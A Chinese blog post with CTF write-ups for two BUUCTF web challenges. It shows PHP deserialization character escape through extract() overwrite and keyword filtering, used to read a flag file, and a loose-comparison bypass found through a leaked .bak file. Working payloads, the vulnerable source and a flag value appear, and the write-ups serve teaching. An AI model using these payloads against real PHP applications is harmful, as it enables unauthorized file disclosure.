本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[安洵杯 2019]easy_serialize_php(php反序列化逃逸关键词数减少 )
点击·source_file出现源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); //extract($_POST);通过POST提交重名的_SESSION对象,可以覆盖掉之前的_SEEION对象值
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据提示我们看一看php信息
http://7aff246d-6231-4898-8dc0-bf5f90342fda.node4.buuoj.cn:81/index.php?f=phpinfo
发现
| auto_append_file | d0g3_f1ag.php | d0g3_f1ag.php |
|---|
有个可能含有flag的php文件,尝试读取发现读不了
尝试利用
f 直接赋值,么的影响。
现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php。
那么就要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA== //d0g3_f1ag.php。
而serialize_info反序列化来的。
$serialize_info又是通过session序列化之后再过滤得来的
若指定就会被sha1加密
我们运用反序列化字符逃逸知识点,将img的值进行修改
由于全局覆盖变量存在,用post传参
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}&function=show_image
[ACTF2020 新生赛]BackupFile
F12啥都没有,怀疑有啥目录文件,用dirsearch扫目录,发现index.php.bak存在我闷进去看一看
下载后是个代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
传个key让其等于$str
因为==为弱比较,比较时会把字母过滤
我们直接传123
payload
?key=123
flag{99293b69-369a-4ab6-94a0-2b856d30de6a}